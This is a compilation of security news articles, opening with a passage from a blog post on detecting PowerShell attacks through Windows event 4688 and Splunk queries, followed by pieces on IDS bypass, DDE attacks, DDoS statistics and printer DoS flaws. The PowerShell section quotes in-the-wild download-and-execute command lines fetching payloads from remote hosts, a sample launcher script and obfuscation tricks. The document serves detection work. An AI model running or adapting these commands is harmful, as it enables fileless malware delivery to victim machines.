In the example shown above, the file is downloaded to the disk as evilfile.txt at the path C:\Users\kirtar_oza\AppData\Roaming set by calling the environment variable $Appdata and then this file is executed using “Invoke-Item” command.

Following is an example from one of the attacks in the wild

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('http://**********.com/***/**.dat', $env:APPDATA + '\***.exe'); Start-Process $env:APPDATA'\***.exe
In above example, the remote file is downloaded using .downloadfile() method and dropped under users’ appdata directory using environment variable and “Start-Process” is used to execute the dropped binary.

The following are some more examples of the PowerShell downloads and invocation that have been seen in the wild

C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:vlbjkf
C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" Invoke-Expression $env:imumnj
C:\Windows\System32\cmd.exe" /c PowerShell "'PowerShell ""function Bdabgf([String] $hcre){(New-Object System.Net.WebClient).DownloadFile($hcre,''C:\Users\***\AppData\Local\Temp\****.exe'');Start-Process ''C:\Users\****\AppData\Local\Temp\****.exe'';}try{Bdabgf(''http://*****.com/****.png'')}catch{Bdabgf(''http://*****.de/***.png'')}'"" | Out-File -encoding ASCII -FilePath C:\Users\****\AppData\Local\Temp\*****.bat;Start-Process 'C:\Users\*****\AppData\Local\Temp\******.bat' -WindowStyle Hidden"
(New-object System.net.Webclient).DownloadString()

DownloadString() does not download any file to the disk but it copies the content of the remote file directly to the memory of the victim machine. These files typically are malicious scripts which get executed directly into the memory using Powershell –Command argument. This technique is wildly used to create so-called file-less malware where the evil script is executed directly in the memory of the victim machine without dropping any file as such on the hard disk. This technique is used to bypass signature-based detection.

The simplest example of this method to check how it works is as below

Powershell attacks

Where cmd.js is a remote script that starts calc.exe process on the victim machine without any file on the disk – runs from memory. [ Note : just write calc.exe in a notepad file and save it as .js extension]

The following snippet is from one of the attacks in the wild

powershell -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('hxxp://******** [.]com/***/**.mdf', $env:APPDATA + '\***.exe'); Start-Process $env:APPDATA'\***.exe';(New-Object System.Net.WebClient).DownloadString('hxxp://nv******[.]com/s.php?id=po**')
In above example, both of the methods have been used together – downloadstring() is used to download some php code from the remote host.

PowerShell “Flags” to make operation stealth
Attackers use a variety of options available in PowerShell to keep their operation as stealthy as possible. Following are the flags which are widely used in the attacks – and that could be used to build our list of Indicators of Compromise (IOC)

–WindowStyle hidden / -w hidden: to make PowerShell operation stealth by making program window hidden from user

–Exec Bypass: to bypass/ignore the execution policy like Restricted which restricts the PowerShell scripts from running

– Command / -c : to execute any commands from PowerShell terminal

–EncodedCommand / -e / -Enc: to pass encoded parameters as command lines

–Nop / -Noprofile : to ignore the commands in the Profile file

Examples of the various flags

You can refer the example in the previous section to understand the use of flags – -nop -Exec Bypass –Command

The following are the examples of various flags used by the attackers in the wild

C:\WINDOWS\system32\cmd.exe /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://****.com/Updates')
PowersHell –e <encoded input>
Powershell – Enc <encoded input>
Indicators of Compromise
Now, I will talk about the indicators of compromise that helps u to detect any suspicious PowerShell activities in the environment.

Observe the Parent-Child Relationship for the PowerShell Process
Typically, when we run PowerShell using windows start menu or from its location on the disk, it starts under explorer.exe – you can see parent-child relationship tree using Process Explorer OR Process Hacker on your system.

Powershell attacks

Powershell attacksIt looks like as shown in left – Explorere.exe is the parent process to the Powershell.exe

Most of the times, in PowerShell attacks, PowerShell script / commands launched through command line process – therefore, we usually have observed that the parent process to the Powershell Process is cmd.exe in the attacks which are in the wild.

Powershell attacks

Powershell attacksNow, there are legit cases also where cmd.exe will be the parent process for PowerShell process – like administrator wants to fire some PowerShell script and he launches powershell form command prompt (cmd.exe)

“Therefore, it is important to have a look at the Grandparent process as well like – who spawned the cmd.exe – that will give you an indication if this could be part of the attack.”

So, if the Grandparent process is winword.exe, mshta.exe, wscript.exe, wuapp.exe – then it is a fair indication that cmd.exe is spawned by a script and that script is worth to look at.

“There are cases where we have observed PowerShell Process is directly spawned by windword.exe – that is a clear indication of a suspicious activity that we need to log and investigate.”

This kind of behavior typically seen in Phishing cases where user clicked/opened the word document which has embedded macro (vbscript) in it which spawns the PowerShell process to download the malicious content from the web.

Therefore, log and pay attention to the PowerShell process if

-It is spawned by winword.exe ( its parent process is winword.exe)

-It is spawned by cmd.exe (its parent process is cmd.exe) and if cmd.exe is spawned by

winword.exe (Grandparent of PowerShell is winword.exe)

mshta.exe

wscript.exe

wuapp.exe

tasking.exe

-It is spawned by any of the above processes (Its Parent is any of above process – mshta,wscript, cscript, wuapp, tasking etc. )

Have a look at the following snippet from Process Monitor that shows Process Creation order after the sample script is executed – PowerShell is executed by Wscript.exe – that means Wscript.exe is a parent process for PowerShell and PowerShell is in-turn the Parent process for conshost.exe which spawns the calc.exe.

Powershell attacks

Sample Script is as below – copy these 2 lines of code in Notepad and save it as .js and run it

shell = new ActiveXObject('WScript.Shell');
shell .Run("powershell.exe Invoke-Item c:\\windows\\system32\\calc.exe");
The indicators discussed above are indicative and by no means, it is a comprehensive set of relationships but this can be a good starting point form where we can start logging PowerShell execution in the environment and then focus on above IOCs to investigate them further for any suspicious activity.

Command-lines are king
Many of the Powershell attacks can be detected by just monitoring command line parameters passed along with the PowerShell process. Moreover, it will help us to further investigate the incident by providing the cues on where to look next for further evidence. For example, if downlodFile() method is used – we will come to know the location on the hard disk where the malicious file might have dropped and the malicious site from where the malicious file is downloaded. We can take these clues and investigate further to assess the impact and behavior of the attack.

How can windows security eventlogs help us in detecting the PowerShell attacks?
There are multiple ways to enable logging for PowerShell based on the version of the PowerShell and operating system used.

Today, I am going to talk about the windows event code that will help us to identify the IOCs described above. By just enabling and logging this event id, it is possible to effectively detect the PowerShell attacks.

I am talking about windows security event id 4688 – Process Creation. Yes, it will generate hell lot of events but applying basic filtering techniques, we can log and monitor only the logs of interest. By default, Process Creation audit is disabled – so first and foremost, we need to enable this feature using GPO. You can read more on this here.

In addition to that – it is important to log command line parameters which are passed at the time of process creation. Command line auditing feature is made available on Microsoft starting from Windows 8.1 and Windows Server 2012 R2. We just need to enable this feature by enabling Include command line in process creation events at Administrative Templates\System\Audit Process Creation and you can roll this out using GPO. You can read more on this here.

Microsoft has come up with the update to make this feature available on its other supported versions of Windows 7, Server 2008 and Server 2008 R2. You can read more on this here and here.

Event ID 4688 will give us two key information based on which alerts can be created on the SIEM to detect such attacks.

Which process has been created
What Command line parameters/arguments are passed with the process creation (if any)
Who is the parent process (Win10/ Win 16 and later includes name of the parent process under Creator_Porcess_Name field; previous versions of windows include the Process ID of the parent process under Creator_Process_ID)
I would take an example of Splunk and explain how alerts can be created to detect the suspicious PowerShell activities in your environment. I will also mention caveats associated with the alert.

First of all, we are interested in capturing Powershell attacks so we need to monitor the events where Powershell.exe is created or spawned. Typicall, 4688 Event ID looks like following – that includes the field called “New_Process_Name” – that gives information about which process is created.

Powershell attacks

So, we need to pick-up those events by following search

index=win_sec EventCode=4688 New_Process_Name="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe
Next step is to review the command line arguments passed with Powershell Process initiation.

Process_Command_Line gives information about the command line parameters that are passed to the newly created process – i.e. Powershell. We can create the alert based on the frequently used parameters like –e, -Encod, -windowstyle , Bypass , -c , -command etc.

index=win_sec EventCode=4688 New_Process_Name="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe –c OR –Encode OR -e, OR – windowstyle
Better option is to create the input lookup list for the known suspicious command line arguments and lookup against that in your alert.

Starting with Windows 10 and Windows Server 2016 – Microsoft has added a field called “Creator Process Name” in Event Id 4688 which gives the name of the Parent Process. This filed helps to create the alerts based on the suspicious parents.

index=win_sec EventCode=4688
New_Process_Name="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe Creator_Process_Name= C:\Program Files\Microsoft Office\Office15\winword.exe
New_Process_Name="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe Creator_Process_Name= C:\windows\system32\mshta.exeNew_Process_Name="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe Creator_Process_Name= C:\windows\system32\cmd.exe
Caveat:
“Unfortunately, PowerShell commands / scripts are easy to obfuscate.”

There are many ways by which the PowerShell scripts can be obfuscated. Random variables or string concatenation can be introduced in the PowerShell that can easily fool static comparison between command lines with the input lookup (as shown above). The following are few obfuscation methods that can render our static comparison ineffective.

Three is an excellent research article on PowerShell Attack Methods by Symantec THE INCREASED USE OF POWERSHELL IN ATTACKS which includes excellent examples of obfuscation taken from a Derbycon 2016 talk by Daniel Bohannon on Powershell obfuscation. Following are a few examples of obfuscation, out of many discussed in this paper

Mixed upper and lower case letters can be used, as commands are not case sensitive.
Example: (neW-oBjEct system.NeT.WeBclieNT). dOWNloadfiLe

Strings can be concatenated, including from variables, allowing for single or double quotes.
Example: (New-Object Net.WebClient). DownloadString(“ht”+’tp://’+$url)

With the exception of the 14 special cases, the escape character ` can be used in front of a character with no change in the result. A similar trick can be used with the escape character ^ when starting PowerShell from cmd.exe.
Example: (new-object net. webclient).”d`o`wnl`oa`dstr`in`g”($url)

Some arguments can be replaced with their numerical representation.
Example: “-window 1” instead of “-window hidden”

However, it is important to monitor the PowerShell execution in your environment and if the command lines are obfuscated, the chances are very high that it is run as a part of the cyber-attack. Hence, it is imperative to log Event ID 4688 – you may apply filter to log only PowerShell process creation and monitor the command line arguments passed with each PowerShell process creation.

So till next time – KEEP CALM and STAY VIGILANT !!!


Researcher Bypasses IDS Using IDS Signatures
10.11.2017 securityweek
Attack
Bucharest - DefCamp 2017- Intrusion detection system (IDS) signatures can be used as an evasion technique to bypass the IDS itself, a security researcher claims.

During a presentation at the DefCamp 2017 security conference in Bucharest, Romania, Kirill Shipulin, a security researcher atPositive Technologies, explained that available IDS signatures can be turned against the system to paralyze its defenses. He also argued that compromises between performance and security can produce opportunities for bypass.

Signature-based IDS relies on discovering specific patterns for the detection of attacks, either by looking for byte sequences in network traffic, or for known malicious instruction sequences used by malware.

The main limitation of such systems is that they can’t detect attacks for which no pattern is available. However, there’s also the gap between when a new threat has been discovered and when its signature starts being applied to the IDS that an attacker can exploit without fearing that the intrusion could be detected.

Many of the available signatures have been designed to protect systems from public exploits, and designing high-quality signatures requires a wide range of skills from the developer in order to avoid false-positives, Shipulin says. What’s more, slow, inefficient signatures can create weaknesses in IDS, adding to the range of already available common bypass techniques.

“Signature are expert knowledge shaped into forms that the system understands. Developers usually have limited or no time to analyze a vulnerability in depth and devise a fix. They also need to focus on performance, and this could lead to errors,” the security researcher told SecurityWeek during an interview at DefCamp.

Some of the available signatures can be slow, requiring a lot of time to perform the necessary analysis. The researcher demonstrated that when such a rule meets bad traffic, the system can become paralyzed and can start dropping traffic. This can result in either denial of service or in the bypass of the detection system.

While planning IDS/IPS capacity, a rule of thumb to follow is to assign only a limited number of signatures and amount of traffic to each processor, thus ensuring that the system can do its job efficiently.

According to Shipulin, who performed his research using the open source Suricata network threat detection engine, it takes more time for a signature to find no match than to find any match. This hurts performance, he added.

Suricata, which was designed to use “a powerful and extensive rules and signature language” and offers support for standard input and output formats like YAML and JSON, was built in a special performance mode. However, a vulnerability addressed in the platform not long ago can be exploited to create bad traffic and load the system to the full, thus bypassing defenses.

Tracked as CVE-2017-15377 and impacting Suricata before 4.x, the vulnerability makes it possible to “trigger lots of redundant checks on the content of crafted network traffic with a certain signature.” Basically, the search engine would continue the check even after no match was found, and would stop only upon reaching inspection-recursion-limit (3,000 by default).

Suricata takes advantage of regular expressions (PCRE), and Shipulin discovered that he could determine the string an expression was designed to search for. Using amplification, he also discovered that he could load the system to the full: with a PCRE check taking around 1.5 million CPU ticks, a 1000 times amplification would result in over 3 billion ticks, which would be a second for the processor.

Paired with the fact that Suricata performs checks even after no match was found, this led the researcher to discover that he could use only 250Kb of network traffic per second to load to the full 8 out of 40 cores on a corporate server. At 10 HTTP POST requests per second, the system starts dropping packets and is bypassed. He used a clean installation, so the amount of network traffic required in real-life corporate networks could be much lower.

“There is no automatic way to detect slow signatures, which means that the discovered attack goes undetected,” the researcher said. “Once we manage to make the system to drop packets, we can shut it down,” he continues.

Shipulin also points out that there are other systems that use signature-based detection that attackers could abuse in a similar manner, especially since the attack vector is silent. However, he also points out that the signatures themselves aren’t the problem, but that they do require quality checking.

“This is only one method we found to create bad traffic and amplify slow signatures. There might be other methods, other cases, other keyword combinations that an actor could use to paralyze or bypass a defense system,” Shipulin told SecurityWeek.


Microsoft Issues Advisory for Mitigating DDE Attacks
10.11.2017 securityweek
Attack
A security advisory published by Microsoft on Wednesday provides information on how users can protect themselves against recent attacks abusing the Dynamic Data Exchange (DDE) protocol.

DDE is designed for data exchanges between Office and other Windows applications. Researchers warned recently that the way DDE fields are processed could be abused by hackers to create documents that load malicious resources from an external server. The technique can be used as a substitute for macros in attacks involving documents.

DDE has been abused in attacks by various types of threat actors, including by cybercriminals who are trying to make a profit using the Locky ransomware and Russia-linked cyberspies known for targeting high-profile organizations.

While at some point it may release an update that would prevent DDE attacks, Microsoft highlighted that DDE is a legitimate feature and there already are several protections and mitigations in place.

The company pointed out that for an attack to work, victims need to be convinced to disable Protected Mode and click through some prompts referencing linked files and remote data.

Additionally, Microsoft said Office users can enable specific registry keys that improve security, including a key that disables automatic data updates from linked fields.

The tech giant has provided detailed information on how automatic link updates can be disabled in Excel, Outlook, Publisher and Word by setting specific registry keys. However, disabling the feature could impact legitimate functionality that leverages DDE and users might need to manually update fields.

In the case of Windows 10 Fall Creators Update, users are protected against DDE attacks by the Attack Surface Reduction (ASR) mitigation included in Windows Defender Exploit Guard.

Since malicious documents exploiting DDE are typically delivered via email, Microsoft has advised users to act with caution when opening suspicious attachments.

The latest report on DDE attacks comes from McAfee and it describes a campaign launched by the Russia-linked cyber espionage group tracked as APT28 and Fancy Bear. The attackers used documents referencing the recent terrorist attack in New York and the Saber Guardian military exercise to deliver reconnaissance malware.


Security Startup SlashNext Taps Cognitive Computing to Detect Attacks
10.11.2017 securityweek
Attack
One effect of the improving ability of security defenses to detect malicious files has been the adversaries' switch from malware to social engineering and fileless attacks. It is an example of 'human reasoning', the ability to change tactics to defeat new defenses.

Pleasanton, Calif-based SlashNext believes that only human reasoning defenses can keep up with human reasoning attackers. It has launched a new product based on cognitive computing rather than supervised machine-learning. Called the Internet Access Protection System (IAPS), it is, says SlashNext CEO and founder Atif Mushtaq, "the industry's first security solution that uses the power of cognitive computing to detect advanced cyberattacks in the same way that humans do -- except without human limits and without human errors."

Rather than using malware signatures or sandboxes and behavioral analysis to detect malware, IAPS uses its own cognitive computing engine called Progressive Learning to detect attacks. It uses a protocol centric approach that works independent of OS or end-point device, and concentrates on the one single common factor for (almost) all cyberattacks: the internet access point. In this way, it is unconcerned whether it is phishing, or malware or fileless -- it aims to detect all attacks.

Doing so requires a new approach. While machine learning proved effective against many new variants of malware, it cannot detect new malware with previously unseen behaviors that do not match its pre-coded algorithms. SlashNext's new approach is to use cognitive computing -- which is designed to use computer processing power in a manner that mimics human intelligence.

The cloud-based Progressive Learning technology is capable of analyzing gigabits of internet-bound traffic in real time to detect indicators of compromise (IOCs). The IOCs are passed to a set of reasoning engines that behave like human researchers to determine whether they are malicious or not malicious. The result is fed back into the system as part of the peer-to-peer learning process that gives the system its self-teaching capability.

Sensors are deployed at all network egress points. They are simply installed and require neither configuration nor tweaking since all the heavy-lifting is done by Progressive Learning in the cloud. IAPS blocks malicious activity in real-time, prevents data exfiltration and stops machines accessing malicious sites. The concept is similar to having a team of expert threat hunters watching all traffic and analyzing it in real time. Just as human experts get more proficient with experience, so does IAPS understand changing adversary tactics as they evolve.

"The last few years have seen an explosion of social engineering attacks that don't rely on malware or exploits to penetrate defenses. That's left businesses urgently in need of an innovative new approach to security that goes far beyond the sandbox," said Gaurav Garg, Founding Partner of Wing Venture Capital. "By harnessing the power of cognitive computing in its IAPS, SlashNext is taking cyber defense to a completely new level."

SlashNext was founded by Asif Mushtaq in 2014. Mushtaq previously spent 9 years as a senior scientist for FireEye, where he was the lead architect of FireEye's core malware detection system. SlashNext received $9 million in Series A funding in April 2017 from Norwest Venture Partners and Wing Venture Capital. IAPS is available now as a subscription service either direct from SlashNext or via a VAR.


DDoS attacks in Q3 2017
9.11.2017 Kaspersky
Attack  Analysis
News Overview
In the third quarter of 2017, the trends of the preceding quarters continued to develop further. The number of DDoS attacks in China, the United States, South Korea and Russia increased, which were reflected in the statistics we gathered for botnets. A sharp surge in the number (more than 450 daily) and power (up to 15.8 million packets per second) of attacks was registered in the ‘Australian sector’. The cost of protection increased accordingly: for example, in early September, six IB vendors entered into a $50 million contract with the Singapore government (the previous three-year contract cost the state half that amount).

The biggest success in combating DDoS attacks was the taking down of the huge (hundreds of thousands of devices in more than a hundred countries) WireX botnet. The botnet had been secretly working on Android devices and proliferating via legitimate Google Play applications. The joint actions of Google, Samsung and several large IT security vendors were required to take down the botnet. Given the deplorable state of security on the Internet of things and in micro-applications, such findings are now likely to occur on a fairly regular basis.

Cybercriminals are using their brains as well as their brawn. In mid-August, Imperva described Pulse Wave technology capable of increasing the power of a DDoS attack thanks to a vulnerability in hybrid and cloud technologies. The analysts at Imperva believe that most DDoS attacks will soon follow a similar pattern: short but powerful sudden “punctuated” attacks that last for several hours or several days.

The targets within the scope of the cybercriminals’ interest remain the same. In the political arena, the increase in the number of attacks has even triggered a process of qualitative change: some are voicing the belief that DDoS attacks are a legitimate form of democratic protest. However, the effectiveness of this method is still questionable: the two most notable political acts of the third quarter (an attack on the DreamHost hosting provider and on a libertarian site) achieved nothing apart from greater publicity for the attacked resources.

Cases of blackmail involving DDoS attacks – or rather, attempts that aren’t always very well executed –have become more frequent. While in the previous quarter companies preferred to pay off the attackers, mass mailings with threats are now often perceived as just another wave of spam.

As a means of applying pressure, DDoS attacks are still more beneficial in industries where downtime and communication failures lead to lost profits and reputation. The gaming industry is becoming even more attractive for cybercriminals: the profits here are estimated in the hundreds of billions of dollars, while security is still far from perfect, with hybrid gaming platforms vulnerable to attacks via the links between resources and applications.

In Q3, there were three high-profile incidents involving gaming platforms (not including the DDoS attack on Final Fantasy’s servers, which, according to Square Enix, began in June and lasted till the end of July).

Firstly, in mid-August, Blizzard Entertainment reported a flood of junk traffic that caused problems for players of Overwatch and World of Warcraft.

Secondly, at the beginning of September, the Americas Cardroom online poker site began to experience difficulties. The attack (not the first to target the resource) followed the notorious pattern “demonstrate force, demand a ransom”. The site’s management refused to pay, but was forced to cancel – or more precisely, to delay – a poker championship that was already under way.

At the end of the quarter, on 30 September, the site of the UK National Lottery was seriously affected: for 90 minutes players were unable to place their stakes online or via applications, which caused the service serious losses.

It appears that constant DDoS attacks on the entertainment industry is becoming the new normal: the largest companies will either have to seriously reconsider their approach to security or put customer loyalty at risk. Some of them have started eliminating possible vectors on their own. For example, Netflix (yet another entertainment platform that could lose customers due to a loss of communication) found a serious vulnerability in API and developed two tools to deal with the infected applications.

Probably the most curious attack of the quarter was also related to the entertainment and gaming industry: the cybercriminals hacked a US casino via a smart fish tank. It had nothing to do with DDoS attacks, but it’s interesting that criminals managed to break through to the mainframe and steal 100 GB of confidential data from the organization, although the fish tank was installed on its own VPN. It is highly likely that in the near future the entertainment and gaming sector will be on a par with the financial sector when it comes to the scope and ingenuity of large-scale attacks.

Quarter Trends
In term of trends, there was a fairly new vector of attacks related to the now notorious crypto- currencies. More and more attacks are targeting Initial Coin Offering (ICO) platforms – a type of crowdfunding. Since blockchain technology allows transactions to be conducted safely, ICOs are quickly gaining in popularity. But there are risks as well: with the rapid growth and the increasing turnover of crypto-currencies, such platforms are subjected to cyberattacks, including DDoS attacks. The broad availability of the platform guarantees reliable and secure transactions, while DDoS attacks are aimed at breaking the operability of the service and thus discrediting it or, even worse, creating a smokescreen for more sophisticated types of attacks.

Another detail of this quarter is the increase in the proportion of mixed, multi-component (SYN + TCP Connect + HTTP-flood + UDP flood) attacks. As forecasted earlier, they are gradually gaining in popularity. There is nothing fundamentally new in these attacks, but in the right hands they can be quite effective.

Statistics for botnet-assisted DDoS attacks
Methodology
Kaspersky Lab has extensive experience of combating cyber threats, including DDoS attacks of various complexity types and ranges. The experts of the company have been tracking the actions of botnets by using the DDoS Intelligence system.

Being part of the Kaspersky DDoS Prevention solution, the DDoS Intelligence system is intended to intercept and analyze commands sent to bots from command-and-control servers and requires neither infecting any user devices nor the actual execution of cybercriminals’ commands.

This report contains DDoS Intelligence statistics for the third quarter of 2017.

In the context of this report, it is assumed that an incident is a separate (single) DDoS-attack if the interval between botnet activity periods does not exceed 24 hours. For example, if the same web resource was attacked by the same botnet with an interval of 24 hours or more, then this incident is considered as two attacks. Also, bot requests originating from different botnets but directed at one resource count as separate attacks.

The geographical locations of DDoS-attack victims and C&C servers that were used to send commands are determined by their respective IP addresses. The number of unique targets of DDoS attacks in this report is counted by the number of unique IP addresses in the quarterly statistics.

It is important to note that DDoS Intelligence statistics are limited only to those botnets that have been detected and analyzed by Kaspersky Lab. It should also be noted that botnets are just one of the tools for performing DDoS attacks; thus, the data presented in this report do not cover every single DDoS attack occurred during the indicated period.

Q3 summary
Resources in 98 countries were attacked in Q3 2017 vs. 86 in Q2 2017.
As in Q2, around half of all attacks (51.56%) originated in China.
China, the US, and South Korea remained leaders in terms of both number of attacks and number of targets. According to the number of reported C&C servers, the same countries are make up the TOP 3, though South Korea calimed first place this time.
The longest DDoS attack was 215 hours, a decrease of 28% compared to Q2. At the same time, the share of attacks that lasted less than 50 hours remained practically unchanged (99.6% in Q3 vs. 99.7% in Q2).
As in the previous quarter, there was a considerable drop in the proportion of attacks over TCP (down to 11.2% from 28.2%) and ICPM (down to 7.1% from 9.42%). This caused a rise in the percentage of SYN floods and HTTP attacks.
The proportion of Linux botnets continued to grow. Such botnets were responsible for 69.62% of attacks in Q3 compared to 51.23% in Q2.
Geography of attacks
DDoS attacks were registered in 98 countries in Q3, where the largest number of the attacks were aimed at China (63.30% of all attacks), which is 5.3 p.p. higher than the previous quarter. South Korea’s share fell from 14.17% to 8.70%, moving it to third place. The US came second despite the percentage of attacks originating from this country falling from 14.03% to 12.98%.

The top 10 accounted for 93.56% of all attacks. Germany (1.24%) re-entered the top 10, replacing Italy out of the rating. Hong Kong (1.31%) dropped from 4th to 7th, having lost 1.07 p.p. Russia (1.58%) gained 0.35 p.p. and was once again in fourth place. The UK remained fifth while the Netherlands saw its share go up from 0.84% to 1.31%, moving it to sixth.

Distribution of DDoS attacks by country, Q2 2017 vs. Q3 2017

91.27% of all attacks were aimed at targets in the countries of the top 10 in Q3 2017.

Distribution of unique DDoS-attack targets by country, Q2 2017 vs. Q3 2017

China remained in first place: 51.56% of all targets were located in the territory of the country, an increase of 4.14 p.p. compared to Q2. At the same time, the US and South Korea remained second and third respectively, although the proportion of targets in the territories of both countries fell considerably: from 18.63% to 17.33% in the US, and from 16.35% to 11.11% in South Korea.

The share of targets located in the territory of Russia grew from 1.33% in Q2 to 2.24% in Q3, which saw Russia move up from seventh to fourth place. Australia and Italy left the top 10 and were replaced by France (1.43%) and Germany (1.65%).

Dynamics of the number of DDoS attacks
The number of attacks per day ranged from 296 (24 July) to 1508 (26 September) in Q3 2017. The peak numbers were registered on 27 July (1399) and 24 September (1497). A relative downturn was registered on 28 July (300), 31 May (240), and 25 September (297).

Dynamics of the number of DDoS attacks in Q3 2017*
*Since DDoS attacks may continuously last for several days, one attack may be counted several times in the timeline, i.e., once per day.

In Q3 2017, Monday remained the quietest day for DDoS attacks (10.39% vs 11.78% in the previous quarter), while Thursday became the busiest day (17.54%). Last quarter’s leader, Saturday, came second (15.59%) followed by Sunday (14.89%) and Tuesday (14.79%).

Distribution of DDoS attacks by day of the week, Q2 vs Q3 2017

Types and duration of DDoS attacks
As in the previous quarter, the number of SYN DDoS attacks continued to grow, rising from 53.26% to 60.43% in Q3 2017. At the same time, the percentage of TCP DDoS attacks plummeted from 18.18% to 11.19%, which did not affect second position in the rating for this type of attack. Both UDP and ICMP attacks became quite rare: their share dropped from 11.91% to 10.15% and from 9.38% to 7.08% respectively. Meanwhile, the popularity of HTTP attacks increased from 7.27% to 11.6%, which placed them in third.

Distribution of DDoS attacks by type, Q3 2017

The number of long-term attacks remained almost unchanged from the previous quarter: 0.02% of attacks lasted more than 150 hours (vs 0.01%). The longest attack lasted for 215 hours, 62 hours shorter than the record in Q2. At the same time, the share of attacks that lasted 4 hours or less dropped from 85.93% in Q2 to 76.09% in Q3. Thus, the percentage of attacks lasting from 5 to 49 and from 50 to 99 hours increased, accounting for 23.55% and 0.3% of all attacks respectively.

Distribution of DDoS attacks by duration (hours), Q2 vs Q3 2017

C&C servers and botnet types
The top 3 countries with the greatest number of detected C&C servers remained unchanged from Q2: South Korea, whose share grew from 49.11% to 50.16%, remained top. The US retained second place (16.94% vs 16.07% in Q2). China remained third although its share dropped from 7.74% to 5.86%. The top 3 countries accounted for 72.96% of C&C servers in total, which is only slightly more than in the previous quarter.

The top 10 included Italy (1.63%) and the UK (0.98%), which ousted Canada and Germany in Q3. Compared to Q2 2017, there was a significant increase in the shares of France (up to 2.93% from 1.79%) and Russia (up to 3.58% from 2.68%).

Distribution of botnet C&C servers by country in Q3 2017

In Q3, Linux-based botnets continued to win back positions from Windows: the share of detected Linux-based botnets comprised 69.62%, while the percentage of Windows-based botnets dropped to 30.38%.

Correlation between Windows- and Linux-based botnet attacks, Q3 2017

Conclusion
In the third quarter of 2017, we registered a considerable increase in the number of both DDoS attacks and their targets. Traditionally, China is the country with the largest number of attack sources and targets. It was followed by the United States and South Korea. The popularity of Windows OS as a basis for creating a botnet has fallen noticeably, while the share of Linux-based botnets increased proportionally.

Among this quarter’s trends were increased attacks on ICO platforms: in Q3, crypto-currency was widely discussed both on the Internet and in the mass media, and cybercriminals did not ignore its popularity. Yet another detail of this quarter is the growth in the proportion of multi-component attacks, consisting of various combinations of SYN, TCP Connect, HTTP flood and UDP flood techniques.


Where DevOps Could Be Increasing The Attack Surface
9.11.2017 securityweek
Attack
Survey Finds That DevOps Often Improves IT Efficiency While Weakening IT Security

The basic premise behind DevOps is that combining the development team and the operations team into a single cohesive unit will improve efficiency. It's all about breaking down silos. But there is one silo that frequently remains excluded: security. The obvious solution is to adopt DevSecOps rather than just DevOps; that is, remove another silo in the name of greater overall IT efficiency.

It doesn't seem to be happening. Early details from CyberArk's Advanced Threat Landscape 2018 report, due to be released in January, show that in at least one area, DevOps is increasing the attack surface -- privileged accounts. Privileged accounts are essential within DevOps, but CyberArk's figures suggest that they are not well protected.

CyberArk, founded in Israel in 1999, is headquartered in Newton, Mass. During September and October 2017, it commissioned Vanson Bourne to survey more than 1,000 IT security decision makers. It found that DevOps and security professionals have what it describes as "worrying knowledge gaps about where privileged accounts and secrets exist across the IT infrastructure." For example, 99% of the respondents failed to identify all the locations where privileged accounts or secrets exist.

The greatest knowledge gap is with source code repositories such as GitHub. Eighty-four percent of the respondents failed to recognize GitHub as a location for privileged accounts. This is followed by microservices (80%), cloud environments (78%), and continuous integration and continuous deployment (CI/CD) tools used by DevOps (76%).

"As organizations employ DevOps, more privileged account credentials and secrets are being created and shared across interconnected business ecosystems," said Elizabeth Lawler, vice president of DevOps security at CyberArk. "Even though dedicated technology exists, with few organizations managing and securing secrets, they become prime targets for attacks. In the hands of an external attacker or malicious insider, compromised credentials and secrets can allow attackers to take full control of an organization's entire IT infrastructure. So it's worrying that the rush to achieve IT and business advantages through DevOps is outpacing awareness of an expanded - and unmanaged - privileged attack surface."

This doesn't mean that DevOps is unaware of the security issue. Thirty-seven percent of DevOps professionals using the cloud said compromised DevOps tools and environments represent one of their organization's greatest security vulnerabilities. The main problem is the discontinuity between the security and DevOps teams. About 75% of security teams do not have a privileged account security strategy for the organization's DevOps, while there is no integration at all between security and DevOps in almost two-thirds of occasions.

As a result, security-aware DevOps professionals have tried to do things themselves. Twenty-two percent have built their own security solution to protect and manage secrets for DevOps projects. "Building your own security solutions is arguably OK up to a point," comments Lawler, "but is not a scalable way forward. From Jenkins to Puppet to Chef, there are no common standards between different tools, which means you must figure out every single tool to know how to secure it. DevOps really needs its own security stack, and security teams must bring something to the table here. They can provide a systemised approach that helps the DevOps teams maintain security while accelerating application delivery and boosting productivity."

When companies break down and integrate the development and operations silos in favor of efficiency, they need to ensure that security does not remain in its own silo outside of DevOps. It's not always an easy ask. DevOps is all about efficiency and speed; security is often seen as anathema to efficiency and speed. Nevertheless, CyberArk's survey demonstrates it is an essential step if companies wish to use DevOps to improve rather than weaken overall corporate security.


Many Brother Printers Vulnerable to Remote DoS Attacks
7.11.2017 securityweek
Vulnerebility  Attack
Remote attackers can cause thousands of Brother printers to temporarily stop working by exploiting an unpatched vulnerability discovered recently by researchers at Trustwave.

According to an advisory published by the security firm, the flaw is related to an embedded httpd server named Debut that some Brother products use to host their web interfaces. The security hole is tracked as CVE-2017-16249 and it affects version 1.20 and earlier of the Debut software.

A remote attacker can exploit the security hole by sending a specially crafted HTTP request to the targeted device. The request causes the server to hang until it eventually responds with an HTTP 500 error. During the time the server is hung, users cannot perform print jobs over the network and the web interface becomes inaccessible.

Trustwave noted that an attacker can generate a DoS condition for an extended period of time by continuously sending malicious requests to a device. The security firm has identified more than 16,000 vulnerable printers that can be attacked remotely over the Internet.

“Some people dismiss Denial of Service attacks as a mere nuisance, but they can tie up resources and reduce productivity at any organization,” a Trustwave researcher explained in a blog post. “They can also be used as a part of an in-person attack on a organization. For instance, an attacker can launch a Denial of Service like this one and then show up at the organization as the ‘technician’ called to fix the problem. Impersonating a technician would allow the attacker direct physical access to IT resources that they might never have been able to access remotely.”

